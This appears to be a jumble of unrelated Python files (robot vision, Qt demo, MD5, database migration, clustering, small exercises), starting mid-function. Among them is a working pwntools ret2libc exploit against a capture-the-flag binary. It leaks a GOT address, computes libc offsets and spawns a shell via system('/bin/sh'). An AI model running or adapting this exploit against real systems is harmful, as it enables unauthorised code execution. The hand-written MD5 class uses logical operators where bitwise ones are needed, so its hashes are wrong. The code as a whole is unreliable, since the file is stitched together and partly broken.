    y = []
    y.append (nest (x, n-1))
    return y

print(nest ("nest",2))
print (nest (5, 0))
print (nest (5, 1))
print(nest (53,10))
print(unnest(nest(53,10)))
print(unnest (nest ("nest",2)))
print(unnest (nest (5, 1)))

#Question 7
A = [[1],[1]] * 5
print(A)
A[3][0]=5
print(A)


"""
Le module ImageClass contient uniquement la classe Image, avec
la configuration du serveur UDP qui reçoit les images (le client).
"""
import cv2
from numpy import int0
from util import (
    colsort,
    rect_to_points,
    points_to_droite,
    droite_to_angle
)

class Image:
    """
    La classe Image représente une image et permet de réaliser les
    opérations de contrôle du robot nécessaire pour qu'il suive
    la ligne.
    Elle contient comme attributs de classe :
    - tailleImageY :    La hauteur de l'image
    - tailleImageX :    La largeur de l'image (calculée en fct de la hauteur)

    Et comme attributs privés :
    - image :       Image originale en nuances de gris et recadrée
    - image_thresh  Image seuillée
    """

    def __init__(self, image):
        self._image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

    def isFin(self):
        """
        Détecter la présence d'une ligne
        Seuillage de la ligne noire (pix<50)
        Compare le nbr de non-zero retrouvé l'image seuillé
        """
        return 50 > cv2.countNonZero(cv2.threshold(
            self._image, 50, 255,
            cv2.THRESH_BINARY_INV)[1]
        )

    def isSurex(self):
        """
        Détecter si une image est en surexposition ou non.

        Seuillage de la partie "Surex", partie de couleur blanche (pix>220)
        Compare le nbr de non-zero retrouvé l'image seuillé

        Renvoie True si l'image est en surexposition, False sinon.
        """
        return 50 < cv2.countNonZero(cv2.threshold(
            self._image, 245, 255,
            cv2.THRESH_BINARY)[1]
        )

    def Traitement(self):
        """
        Effectue un seuillage en fonction de l'exposition.
        """
        if self.isSurex():
            self._image_thresh = cv2.adaptiveThreshold(self._image, 255,
            cv2.ADAPTIVE_THRESH_MEAN_C,cv2.THRESH_BINARY_INV, 501, 25)
        else:
            _, self._image_thresh = cv2.threshold(self._image,
            0, 255,cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)

    def send(self, server=None, img=None):
        """
        Envoyer l'image courante (ou passée en paramètre) sur le serveur UDP
        """
        if server is None: return

        if img is None:
            img = self._image

        res,jpg=cv2.imencode('.jpg', img, [int(cv2.IMWRITE_JPEG_QUALITY), 10])

        try:
            server.sendall(int(jpg.size).to_bytes(4, 'big', signed=True)
                           + jpg.tobytes())
        except OSError:
            print("Erreur: image::Image.send")

    def shift_angle(self, nbRec=1):
        """
        Trouver le décallage et l'angle de la ligne.
        Angle : Angle que forme la ligne avec l'axe vertical.
                Est compris entre -90 et 90°.
        Décallage : décallage de la ligne par rapport au centre bas de l'image.
                    Il est en pourcentage et oscille autour de 0% (peut
                    dont être négatif)
        Par exemple :
        +----------+---------+
        |                |  ||
        |               /  / |
        |             /  /   |
        |            |  |    |
        +----------+--+-------+
                   |  |
               milieu |
                      décallage de +10%

        """
        # Contours
        img = self._image_thresh
        X = len(img[0])
        Y = len(img)
        ligne_split = int(Y/nbRec)
        tab = []

        for i in range(1,nbRec+1):
            contours, _ = cv2.findContours(img[ligne_split*(i-1):ligne_split*i], cv2.RETR_CCOMP, cv2.CHAIN_APPROX_SIMPLE)

            if contours is None or len(contours) == 0:
                tab.append(None)
            else:
                best_contours = max(contours, key=cv2.contourArea)
                rect = cv2.minAreaRect(best_contours)
                (cx, cy), size, angle = rect
                rect = (cx, cy+ligne_split*(i-1)), size, angle
                box = int0(cv2.boxPoints(rect))
                box2 = colsort(box, 1)
                A, B = rect_to_points(X, Y, box2)
                (m, p) = points_to_droite(A, B)

                angle = droite_to_angle(m, p)
                xbottom = -(p/m) if p is not None else m
                shift = int((xbottom*100) / (X/2))
                tab.append((shift, angle))

                img = cv2.drawContours(img, [box], 0, 127, 3)
                img = cv2.line(img, (int(A[0]+X/2), int(Y-A[1])), (int(B[0]+X/2), int(Y-B[1])), 50, 10)

        self._image_thresh = img
        return tab

def __imageTest__(image):
    image = cv2.imread(image)
    img = Image(image)
    img.Traitement()
    resultat_analyse = img.shift_angle(1)

    for i in range (len(resultat_analyse)):
        shift, angle = resultat_analyse[i]
        print (shift, angle)

    cv2.namedWindow("img", cv2.WINDOW_NORMAL)
    cv2.resizeWindow('img', (640, 380))
    cv2.moveWindow('img', 480, 0)
    cv2.imshow("img", img._image_thresh)
    cv2.waitKey(0)
    cv2.destroyAllWindows()

    return "Fini \n"

print(__imageTest__("image\img.jpg"))
print(__imageTest__("image\surex2.jpg"))
print(__imageTest__("image\surex.jpg"))


# Creating Tabs

from PyQt4.QtCore import *
from PyQt4.QtGui import *

qtw = QTabWidget()
qtw.setWindowTitle("PyQGIS Tab Example")
qtw.resize(400,300)

tab1 = QWidget()
tab2 = QWidget()
tab3 = QWidget()

layout1 = QVBoxLayout()
layout1.addWidget(QTextEdit("<b>Type text here</b>"))
tab1.setLayout(layout1)

layout2 = QVBoxLayout()
layout2.addWidget(QPushButton("Button"))
tab2.setLayout(layout2)

layout3 = QVBoxLayout()
layout3.addWidget(QLabel("Label text example"))
tab3.setLayout(layout3)

qtw.addTab(tab1, "First Tab")
qtw.addTab(tab2, "Second Tab")
qtw.addTab(tab3, "Third Tab")

qtw.show()


import math
import numpy as np
from ctypes import c_int32
# Press Shift+F10 to execute it or replace it with your code.
# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.
class MD5:
    length = 512
    tempText = ''
    k = []
    s = []

    def hash(self, text):
        self.fill_k()
        self.first_step(text)
        self.second_step()
        return self.third_step()

    def fill_k(self):
        for c in range(0, 64):
            self.k.append(math.floor(2**32 * math.fabs(math.sin(c + 1))))
        self.a0 = 0x67452301
        self.b0 = 0xefcdab89
        self.c0 = 0x98badcfe
        self.d0 = 0x10325476

        self.s[0:16] = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22]
        self.s[16:32] = [5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20]
        self.s[32:48] = [4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23]
        self.s[48:64] = [6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]

    def first_step(self, text):
        for c in text:
            self.tempText += str(bin(ord(c))).removeprefix('0b')
        self.tempText += '1'
        while len(self.tempText) % self.length != 448:
            self.tempText += '0'

    def second_step(self):
        bin_length = bin(len(self.tempText)).removeprefix('0b')
        if 64 - len(bin_length) > 0:
            bin_length = (64 - len(bin_length)) * '0' + bin_length
        self.tempText += bin_length[-33:-1] + bin_length[-64:-32]

    def third_step(self):
        chunks = [self.tempText[x:x + 512] for x in range(0, len(self.tempText), 512)]
        for c in chunks:
            word32 = [c[x: x + 32] for x in range(0, len(c), 32)]
            A = self.a0
            B = self.b0
            C = self.c0
            D = self.d0
            for i in range(0, 64):
                if 0 <= i <= 15:
                    F = (B and C) or ((not B) and D)
                    g = i
                elif 16 <= i <= 31:
                    F = (D and B) or ((not D) and C)
                    g = (5 * i + 1) % 16
                elif 32 <= i <= 47:
                    F = B ^ C ^ D
                    g = (3 * i + 5) % 16
                elif 48 <= i <= 63:
                    F = C ^ (B or (not D))
                    g = (7*i) % 16
                F = int('0b' + bin(F + A + self.k[i] + int(word32[g], 2)).removeprefix('0b')[-33:-1] ,2)
                A = D
                D = C
                C = B
                B = int('0b' + bin(B + int(F) << int(self.s[i])).removeprefix('0b')[-33:-1], 2)
            self.a0 += A
            self.b0 += B
            self.c0 += C
            self.d0 += D
        np_digest = np.array([str(hex(self.a0)).removeprefix('0x'), str(hex(self.b0)).removeprefix('0x'), str(hex(self.c0)).removeprefix('0x'), str(hex(self.d0)).removeprefix('0x')])
        return np_digest[0] + np_digest[1] + np_digest[2] + np_digest[3]


"""Added conversion history

Revision ID: 98f5726393b4
Revises: 199b1fe61d72
Create Date: 2022-07-20 18:50:17.658744

"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import postgresql

# revision identifiers, used by Alembic.
revision = '98f5726393b4'
down_revision = '199b1fe61d72'
branch_labels = None
depends_on = None

def upgrade() -> None:
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('conversionhistory',
    sa.Column('id', postgresql.UUID(as_uuid=True), nullable=False),
    sa.Column('from_currency', sa.String(length=3), nullable=False),
    sa.Column('to_currency', sa.String(length=3), nullable=False),
    sa.Column('amount', sa.Float(), nullable=False),
    sa.Column('rate', sa.Float(), nullable=False),
    sa.Column('result', sa.Float(), nullable=False),
    sa.Column('timestamp', sa.DateTime(timezone=True), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_index(op.f('ix_conversionhistory_from_currency'), 'conversionhistory', ['from_currency'], unique=False)
    op.create_index(op.f('ix_conversionhistory_to_currency'), 'conversionhistory', ['to_currency'], unique=False)
    # ### end Alembic commands ###

def downgrade() -> None:
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_index(op.f('ix_conversionhistory_to_currency'), table_name='conversionhistory')
    op.drop_index(op.f('ix_conversionhistory_from_currency'), table_name='conversionhistory')
    op.drop_table('conversionhistory')
    # ### end Alembic commands ###


# -*- coding: utf-8 -*-
"""
Created on Sat Aug 29 05:50:37 2020

@author: muham
"""

import numpy as np

import pandas as pd

import matplotlib.pyplot as plt

veriler = pd.read_csv("musteriler.csv")

X = veriler.iloc[:, 3:].values

from sklearn.cluster import KMeans

km_cluster = KMeans(n_clusters=3, init='k-means++')

km_cluster.fit(X)

print(km_cluster.cluster_centers_)

sonuclar = list()

for i in range(1, 11):
    kmeans = KMeans(n_clusters=i, init='k-means++', random_state=123)
    kmeans.fit(X)

    sonuclar.append(kmeans.inertia_)

plt.plot(range(1,11), sonuclar)

Machine Learning/Studies and Codes/From Courses/Machine Learning with Python Course   -   Şadi Evren Şeker/K-Means Clustering/1 - K-Means Clustering.py


from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

def find_ip(payload):
    p = process(exe)
    p.sendlineafter('>', '1')
    p.sendlineafter('>>', payload)
    p.wait() # wait for the process to crash

    # Print out the address of EIP/RIP at the time of crashing
    # ip_offset = cyclic_find(p.corefile.pc)  # x86
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset

exe = './shooting_star'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

## EXPLOITATION

paddingBytes = find_ip(cyclic(1024))

sh = start()
pop_rdi = 0x4012cb
pop_rsi_r15 = 0x4012c9
info("%#x pop_rdi", pop_rdi) # format this into hex
info("%#x pop_rsi_r15", pop_rsi_r15) # format this into hex

payload = flat(
    {paddingBytes: [
        pop_rsi_r15,  # Pop the following value from stack into RSI
        elf.got.write,  # Address of write() in GOT
        0x0,  # Don't need anything in r15
        elf.plt.write,  # Call plt.write() to print address of got.write()
        elf.symbols.main  # Return to beginning of star function
    ]}
)

sh.sendlineafter('>', '1')
sh.sendlineafter('>>', payload)
sh.recvuntil('May your wish come true!\n')
leaked_addr = sh.recv() # got the address printed out in hex
got_write = unpack(leaked_addr[:6].ljust(8, b"\x00"))
info("leaked got_write: %#x", got_write)

libc_base = got_write - 0x110210 #remote write offset | #0xf8180 - our write offset
info("libc_base: %#x", libc_base)

system_addr = libc_base +  0x04f550 # system offset | #0x4c330 - our system offset
info("system_addr: %#x", system_addr)

bin_sh = libc_base + 0x1b3e1a #remote bin/sh offset | #0x196031 - our bin/sh offset
info("bin_sh: %#x", bin_sh)

payload = flat(
    {paddingBytes: [
        pop_rdi,
        bin_sh,
        system_addr
    ]}
)

sh.sendline('1')
sh.sendlineafter('>>', payload)
sh.recvuntil('May your wish come true!\n')

sh.interactive()


import simplejson

"""
This is a wrapper around simplejson library to give python 2.4 JSON standard capabilities.
To be compatible with python 2.6 standard JSON library, only loads and dumps must be used.

Notes: Compatible with pythons 2.5+, the exception returned will be a ValueError
"""

__all__ = ['loads', 'dumps']

def convert2str(item):
    """
    This is an implementation to fix a bug with __repr__ function implemenation in python.
    """
    if type(item) is unicode:
        try:
            return str(item)
        except:
            return item
    elif type(item) is list:
        ret = []
        for i in item:
            ret.append(convert2str(i))
        return ret
    elif type(item) is tuple:
        return tuple(convert2str(list(item)))
    elif type(item) is dict:
        ret = {}
        for i in item.keys():
            ret[convert2str(i)] = convert2str(item[i])
        return ret
    else:
        return item

def loads(s):
    intype = type(s)
    try:
        ret = simplejson.loads(s)
    except simplejson.JSONDecodeError:
        raise ValueError(s)
    if intype is str:
        return convert2str(ret)
    else:
        return ret

def dumps(s):
    return simplejson.dumps(s)


from rest_framework import generics
from rest_framework.generics import get_object_or_404
from rest_framework.response import Response
from v1.questions.models import Question
from v1.questions.serializers import QuestionSerializer

class QueueListView(generics.GenericAPIView):

    def validate_request(self):
        return get_object_or_404(
            Question,
            id=self.kwargs.get("question_id")
        )

    def get_queryset(self):
        return Question.objects.filter(
            status="open",
            question_type="assistance"
        ).order_by(
            "created_at"
        )

    permission_classes = []

    def get(self, request, *args, **kwargs):
        question = self.validate_request()

        return Response(
            {
                "queue_size": len(self.get_queryset()),
                "position": len(self.get_queryset().filter(created_at__lt=question.created_at)),
                "question": QuestionSerializer(question, many=False).data
            }
        )


from pymongo import MongoClient

def _66():
    count = 0
    with MongoClient('mongodb://localhost:27017/') as client:
        assert client is not None
        db = client.testdb
        collection = db.artist

        for _ in collection.find({"area":"Japan"}):
            count += 1
    print(count)
if __name__ == "__main__":
    _66()
"""
> use testdb
switched to db testdb
> db.getCollection("artist").find({'area': 'Japan'}).count()
22821
"""

"""
22821
"""


##Maliha Tasnim
#MALIHA.TASNIM64@myhunter.cuny.edu
#Date: September 17, 2022
#This program does stuff
names = input("Enter a list of names, separated by semicolon: ")
s = names.split(';')
for i in range(len(s)):
    s[i] = s[i].split()
for i in s :
    print((i[0])[0:1]+". "+i[1])


from time import sleep, perf_counter
from threading import Thread

start = perf_counter()

def job1():
    for i in range(1, 6):
        print(i)
        sleep(1)

def job2():
    for i in range(6, 11):
        print(i)
        sleep(1)

# enable multithreading
task1 = Thread(target=job1)
task2 = Thread(target=job2)
# job1()
# job2()
task1.start()
task2.start()
task1.join()
task2.join()
end = perf_counter()

print(f"Time take {end-start}")